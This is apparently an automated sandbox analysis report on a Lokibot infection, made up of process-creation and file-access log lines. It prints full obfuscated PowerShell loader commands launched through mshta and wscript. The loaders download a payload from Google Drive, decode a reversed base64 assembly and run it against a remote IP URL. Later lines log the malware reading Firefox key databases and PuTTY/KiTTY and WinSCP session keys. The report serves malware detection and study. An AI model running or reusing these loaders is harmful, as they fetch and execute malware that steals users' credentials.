$owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( $shellid[1]+$shellid[13]+'x') (('s7fimage'+'url = bbhhttps://drive.google.com/uc?export=download&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur bbh;s7fwebclient = new-object system.net.webclien'+'t;s7fimagebytes = s7fwebclient.downloadda'+'ta(s7fima'+'geurl);s7fimagetext ='+' [system.te'+'xt.encoding]::utf8.getstring'+'(s7fimagebytes);s7fstartflag = bbh<<'+'base64_'+'start>>bbh;s7fendflag = b'+'bh<<base64_end>>bbh;s7fstartindex = s7fimagetext.indexof(s7fstartflag);s7fendindex'+' = s7fimagetext.indexof(s7fendfla'+'g);s7fstartindex -ge '+'0 -and s7fendindex -gt s7fst'+'artindex;s7fstartindex += s7f'+'startflag.leng'+'th;s7fba'+'se64length = s7fendindex - s7fstar'+'tindex;s7fbase64command = s7fimagetext.substring(s7fstartindex, s7fbase64l'+'ength);'+'s7fbase64reversed = -jo'+'in '+'(s7fbase64command.tochararray() bdf foreach-object { s7f_ })['+'-'+'1.'+'.-(s7fbase64command.length)];s7fcommandbytes = [system.convert]::frombase64string(s7fb'+'ase64reversed);s7floadedas'+'sem'+'bly = [system.reflection.assembly]::load(s7fcomma'+'nd'+'byt'+'es);s7fvaimethod = [dnlib.io.home]'+'.getmethod(bbhvai'+'bbh);s7fvaimethod.invoke(s7fnu'+'ll, @(bbhtxt.klllpms/56/151.871.64.891//:ptthbbh, bbhdesativadobbh, bbhdesativadobb'+'h, bbhdesativadobbh, bbhaspnet_regbrowsersbbh, bbhdesativadobbh, bbhdesativadobbh,bbhdesativadobbh,bbhdesativado'+'bbh,bbhdesativado'+'bbh,bbhde'+'sativadobbh,bbhdesativadobbh,bbh1bbh,bbhdesativadobbh));').replace('bdf','\|').replace('bbh',[string][char]39).replace('s7f','$'))"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jddhmtq0ngy0icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagigfkzc10wvblicagicagicagicagicagicagicagicagicagicagicaglw1fbujfcmrfrmlosxrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstw9uiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagbud5lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagifbaemfpalj3d1asc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagbugsdwludcagicagicagicagicagicagicagicagicagicagicagietrwe1ly1jiqmmssw50uhryicagicagicagicagicagicagicagicagicagicagicagbkv4tyk7jyagicagicagicagicagicagicagicagicagicagicagic1uyu1licagicagicagicagicagicagicagicagicagicagicagikfmiiagicagicagicagicagicagicagicagicagicagicagic1oyw1fu3bbq2ugicagicagicagicagicagicagicagicagicagicagicbsyu5frgsgicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjddhmtq0ngy0ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtk4ljq2lje3oc4xntevnjuvc2vldghlymvzdgh0aw5nc3dpdghtzxdoawnoz2l2zwdyzwf0b3v0chv0b2ztzwdvb2qudelgiiwijgvovjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmildasmck7u1rbcnqtc0xlrxaomyk7c1rbulqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmi'+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoicrtaevmtelkwzfdkyrzagvstelkwzezxssneccpicgoj1m3rmltywdljysnvxjsid0gykjiahr0chm6ly9kcml2zs5nb29nbguuy29tl3vjp2v4cg9ydd1kb3dubg9hzczpzd0xqulwz0pksnyxrjz2uzrzvu95ym5ilxnedlvoqll3dxigykjio1m3rndlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbicrj3q7uzdgaw1hz2vcexrlcya9ifm3rndlyknsawvudc5eb3dubg9hzerhjysndgeouzdgaw1hjysnz2vvcmwpo1m3rmltywdlvgv4dca9jysnifttexn0zw0uvgunkyd4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5njysnkfm3rmltywdlqnl0zxmpo1m3rnn0yxj0rmxhzya9igjcsdw8jysnqkftrty0xycrj1nuqvjupj5iqkg7uzdgzw5krmxhzya9iginkydcsdw8qkftrty0x0vord4+ykjio1m3rnn0yxj0sw5kzxggpsbtn0zpbwfnzvrlehqusw5kzxhpzihtn0zzdgfydezsywcpo1m3rmvuzeluzgv4jysnid0guzdgaw1hz2vuzxh0lkluzgv4t2youzdgzw5krmxhjysnzyk7uzdgc3rhcnrjbmrlecatz2ugjysnmcatyw5kifm3rmvuzeluzgv4ic1ndcbtn0zzdccrj2fydeluzgv4o1m3rnn0yxj0sw5kzxggkz0guzdgjysnc3rhcnrgbgfnlkxlbmcnkyd0adttn0ziyscrj3nlnjrmzw5ndgggpsbtn0zlbmrjbmrlecatifm3rnn0yxinkyd0sw5kzxg7uzdgymfzzty0q29tbwfuzca9ifm3rmltywdlvgv4dc5tdwjzdhjpbmcouzdgc3rhcnrjbmrlecwguzdgymfzzty0tccrj2vuz3roktsnkydtn0ziyxnlnjrszxzlcnnlzca9ic1qbycrj2luiccrjyhtn0ziyxnlnjrdb21tyw5kllrvq2hhckfycmf5kckgqkrgiezvckvhy2gtt2jqzwn0ihsguzdgxyb9kvsnkyctjysnms4nkyculshtn0ziyxnlnjrdb21tyw5klkxlbmd0acldo1m3rmnvbw1hbmrcexrlcya9ifttexn0zw0uq29udmvydf06okzyb21cyxnlnjrtdhjpbmcouzdgyicrj2fzzty0umv2zxjzzwqpo1m3rmxvywrlzefzjysnc2vtjysnymx5id0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzchtn0zjb21tyscrj25kjysnqnl0jysnzxmpo1m3rnzhau1ldghvzca9iftkbmxpyi5jty5ib21lxscrjy5hzxrnzxrob2qoykjivkfjjysnykjiktttn0z2ywlnzxrob2qusw52b2tlkfm3rm51jysnbgwsieaoykjidhh0lktmtexqtvmvntyvmtuxljg3ms42nc44otevlzpwdhroykjilcbiqkhkzxnhdgl2ywrvykjilcbiqkhkzxnhdgl2ywrvykinkydilcbiqkhkzxnhdgl2ywrvykjilcbiqkhhc3buzxrfcmvnynjvd3nlcnniqkgsigjcsgrlc2f0axzhzg9iqkgsigjcsgrlc2f0axzhzg9iqkgsykjizgvzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvjysnykjilgjcsgrlc2f0axzhzg8nkydiqkgsykjizgunkydzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvykjilgjcsdfiqkgsykjizgvzyxrpdmfkb2jcsckpoycplljlugxhy0uoj0jericsj3wnks5szvbsywnfkcdiqkgnlftzdfjpbmddw2noyxjdmzkplljlugxhy0uoj1m3ricsjyqnksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( $shellid[1]+$shellid[13]+'x') (('s7fimage'+'url = bbhhttps://drive.google.com/uc?export=download&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur bbh;s7fwebclient = new-object system.net.webclien'+'t;s7fimagebytes = s7fwebclient.downloadda'+'ta(s7fima'+'geurl);s7fimagetext ='+' [system.te'+'xt.encoding]::utf8.getstring'+'(s7fimagebytes);s7fstartflag = bbh<<'+'base64_'+'start>>bbh;s7fendflag = b'+'bh<<base64_end>>bbh;s7fstartindex = s7fimagetext.indexof(s7fstartflag);s7fendindex'+' = s7fimagetext.indexof(s7fendfla'+'g);s7fstartindex -ge '+'0 -and s7fendindex -gt s7fst'+'artindex;s7fstartindex += s7f'+'startflag.leng'+'th;s7fba'+'se64length = s7fendindex - s7fstar'+'tindex;s7fbase64command = s7fimagetext.substring(s7fstartindex, s7fbase64l'+'ength);'+'s7fbase64reversed = -jo'+'in '+'(s7fbase64command.tochararray() bdf foreach-object { s7f_ })['+'-'+'1.'+'.-(s7fbase64command.length)];s7fcommandbytes = [system.convert]::frombase64string(s7fb'+'ase64reversed);s7floadedas'+'sem'+'bly = [system.reflection.assembly]::load(s7fcomma'+'nd'+'byt'+'es);s7fvaimethod = [dnlib.io.home]'+'.getmethod(bbhvai'+'bbh);s7fvaimethod.invoke(s7fnu'+'ll, @(bbhtxt.klllpms/56/151.871.64.891//:ptthbbh, bbhdesativadobbh, bbhdesativadobb'+'h, bbhdesativadobbh, bbhaspnet_regbrowsersbbh, bbhdesativadobbh, bbhdesativadobbh,bbhdesativadobbh,bbhdesativado'+'bbh,bbhdesativado'+'bbh,bbhde'+'sativadobbh,bbhdesativadobbh,bbh1bbh,bbhdesativadobbh));').replace('bdf','\|').replace('bbh',[string][char]39).replace('s7f','$'))"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; iex($(iex('[system.text.encoding]'+[char]0x3a+[char]58+'utf8.getstring([system.convert]'+[char]58+[char]58+'frombase64string('+[char]34+'jddhmtq0ngy0icagicagicagicagicagicagicagicagicagicagicagpsagicagicagicagicagicagicagicagicagicagicagigfkzc10wvblicagicagicagicagicagicagicagicagicagicagicaglw1fbujfcmrfrmlosxrpt24gicagicagicagicagicagicagicagicagicagicagicanw0rsbeltcg9ydcgivvjstw9uiiwgicagicagicagicagicagicagicagicagicagicagicbdagfyu2v0id0gq2hhclnldc5vbmljb2rlkv1wdwjsawmgc3rhdgljigv4dgvybibjbnrqdhigvvjmrg93bmxvywrub0zpbguosw50uhryicagicagicagicagicagicagicagicagicagicagicagbud5lhn0cmluzyagicagicagicagicagicagicagicagicagicagicagifbaemfpalj3d1asc3ryaw5nicagicagicagicagicagicagicagicagicagicagicagbugsdwludcagicagicagicagicagicagicagicagicagicagicagietrwe1ly1jiqmmssw50uhryicagicagicagicagicagicagicagicagicagicagicagbkv4tyk7jyagicagicagicagicagicagicagicagicagicagicagic1uyu1licagicagicagicagicagicagicagicagicagicagicagikfmiiagicagicagicagicagicagicagicagicagicagicagic1oyw1fu3bbq2ugicagicagicagicagicagicagicagicagicagicagicbsyu5frgsgicagicagicagicagicagicagicagicagicagicagicatugfzc1rocnu7icagicagicagicagicagicagicagicagicagicagicagjddhmtq0ngy0ojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtk4ljq2lje3oc4xntevnjuvc2vldghlymvzdgh0aw5nc3dpdghtzxdoawnoz2l2zwdyzwf0b3v0chv0b2ztzwdvb2qudelgiiwijgvovjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmildasmck7u1rbcnqtc0xlrxaomyk7c1rbulqgicagicagicagicagicagicagicagicagicagicagicaijevuvjpbufbeqvrbxhnlzxrozwjlc3rodgluz3n3axrobwv3agljagdpdmvncmvhdg91dhb1dg9mbs52qnmi'+[char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liaoicrtaevmtelkwzfdkyrzagvstelkwzezxssneccpicgoj1m3rmltywdljysnvxjsid0gykjiahr0chm6ly9kcml2zs5nb29nbguuy29tl3vjp2v4cg9ydd1kb3dubg9hzczpzd0xqulwz0pksnyxrjz2uzrzvu95ym5ilxnedlvoqll3dxigykjio1m3rndlyknsawvudca9ie5ldy1pymply3qgu3lzdgvtlk5ldc5xzwjdbgllbicrj3q7uzdgaw1hz2vcexrlcya9ifm3rndlyknsawvudc5eb3dubg9hzerhjysndgeouzdgaw1hjysnz2vvcmwpo1m3rmltywdlvgv4dca9jysnifttexn0zw0uvgunkyd4dc5fbmnvzgluz106olvurjgur2v0u3ryaw5njysnkfm3rmltywdlqnl0zxmpo1m3rnn0yxj0rmxhzya9igjcsdw8jysnqkftrty0xycrj1nuqvjupj5iqkg7uzdgzw5krmxhzya9iginkydcsdw8qkftrty0x0vord4+ykjio1m3rnn0yxj0sw5kzxggpsbtn0zpbwfnzvrlehqusw5kzxhpzihtn0zzdgfydezsywcpo1m3rmvuzeluzgv4jysnid0guzdgaw1hz2vuzxh0lkluzgv4t2youzdgzw5krmxhjysnzyk7uzdgc3rhcnrjbmrlecatz2ugjysnmcatyw5kifm3rmvuzeluzgv4ic1ndcbtn0zzdccrj2fydeluzgv4o1m3rnn0yxj0sw5kzxggkz0guzdgjysnc3rhcnrgbgfnlkxlbmcnkyd0adttn0ziyscrj3nlnjrmzw5ndgggpsbtn0zlbmrjbmrlecatifm3rnn0yxinkyd0sw5kzxg7uzdgymfzzty0q29tbwfuzca9ifm3rmltywdlvgv4dc5tdwjzdhjpbmcouzdgc3rhcnrjbmrlecwguzdgymfzzty0tccrj2vuz3roktsnkydtn0ziyxnlnjrszxzlcnnlzca9ic1qbycrj2luiccrjyhtn0ziyxnlnjrdb21tyw5kllrvq2hhckfycmf5kckgqkrgiezvckvhy2gtt2jqzwn0ihsguzdgxyb9kvsnkyctjysnms4nkyculshtn0ziyxnlnjrdb21tyw5klkxlbmd0acldo1m3rmnvbw1hbmrcexrlcya9ifttexn0zw0uq29udmvydf06okzyb21cyxnlnjrtdhjpbmcouzdgyicrj2fzzty0umv2zxjzzwqpo1m3rmxvywrlzefzjysnc2vtjysnymx5id0gw1n5c3rlbs5szwzszwn0aw9ulkfzc2vtymx5xto6tg9hzchtn0zjb21tyscrj25kjysnqnl0jysnzxmpo1m3rnzhau1ldghvzca9iftkbmxpyi5jty5ib21lxscrjy5hzxrnzxrob2qoykjivkfjjysnykjiktttn0z2ywlnzxrob2qusw52b2tlkfm3rm51jysnbgwsieaoykjidhh0lktmtexqtvmvntyvmtuxljg3ms42nc44otevlzpwdhroykjilcbiqkhkzxnhdgl2ywrvykjilcbiqkhkzxnhdgl2ywrvykinkydilcbiqkhkzxnhdgl2ywrvykjilcbiqkhhc3buzxrfcmvnynjvd3nlcnniqkgsigjcsgrlc2f0axzhzg9iqkgsigjcsgrlc2f0axzhzg9iqkgsykjizgvzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvjysnykjilgjcsgrlc2f0axzhzg8nkydiqkgsykjizgunkydzyxrpdmfkb2jcscxiqkhkzxnhdgl2ywrvykjilgjcsdfiqkgsykjizgvzyxrpdmfkb2jcsckpoycplljlugxhy0uoj0jericsj3wnks5szvbsywnfkcdiqkgnlftzdfjpbmddw2noyxjdmzkplljlugxhy0uoj1m3ricsjyqnksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ". ( $shellid[1]+$shellid[13]+'x') (('s7fimage'+'url = bbhhttps://drive.google.com/uc?export=download&id=1aivgjjjv1f6vs4suoybnh-sdvuhbywur bbh;s7fwebclient = new-object system.net.webclien'+'t;s7fimagebytes = s7fwebclient.downloadda'+'ta(s7fima'+'geurl);s7fimagetext ='+' [system.te'+'xt.encoding]::utf8.getstring'+'(s7fimagebytes);s7fstartflag = bbh<<'+'base64_'+'start>>bbh;s7fendflag = b'+'bh<<base64_end>>bbh;s7fstartindex = s7fimagetext.indexof(s7fstartflag);s7fendindex'+' = s7fimagetext.indexof(s7fendfla'+'g);s7fstartindex -ge '+'0 -and s7fendindex -gt s7fst'+'artindex;s7fstartindex += s7f'+'startflag.leng'+'th;s7fba'+'se64length = s7fendindex - s7fstar'+'tindex;s7fbase64command = s7fimagetext.substring(s7fstartindex, s7fbase64l'+'ength);'+'s7fbase64reversed = -jo'+'in '+'(s7fbase64command.tochararray() bdf foreach-object { s7f_ })['+'-'+'1.'+'.-(s7fbase64command.length)];s7fcommandbytes = [system.convert]::frombase64string(s7fb'+'ase64reversed);s7floadedas'+'sem'+'bly = [system.reflection.assembly]::load(s7fcomma'+'nd'+'byt'+'es);s7fvaimethod = [dnlib.io.home]'+'.getmethod(bbhvai'+'bbh);s7fvaimethod.invoke(s7fnu'+'ll, @(bbhtxt.klllpms/56/151.871.64.891//:ptthbbh, bbhdesativadobbh, bbhdesativadobb'+'h, bbhdesativadobbh, bbhaspnet_regbrowsersbbh, bbhdesativadobbh, bbhdesativadobbh,bbhdesativadobbh,bbhdesativado'+'bbh,bbhdesativado'+'bbh,bbhde'+'sativadobbh,bbhdesativadobbh,bbh1bbh,bbhdesativadobbh));').replace('bdf','\|').replace('bbh',[string][char]39).replace('s7f','$'))"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyManager.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyModel.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.PolicyEngineApi.Interop.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper\6.1.0.0__31bf3856ad364e35\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC_64\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\secmod.db VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\cert8.db VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\7xwghk55.default\key3.db VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match

File source: dump.pcap, type: PCAP

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl

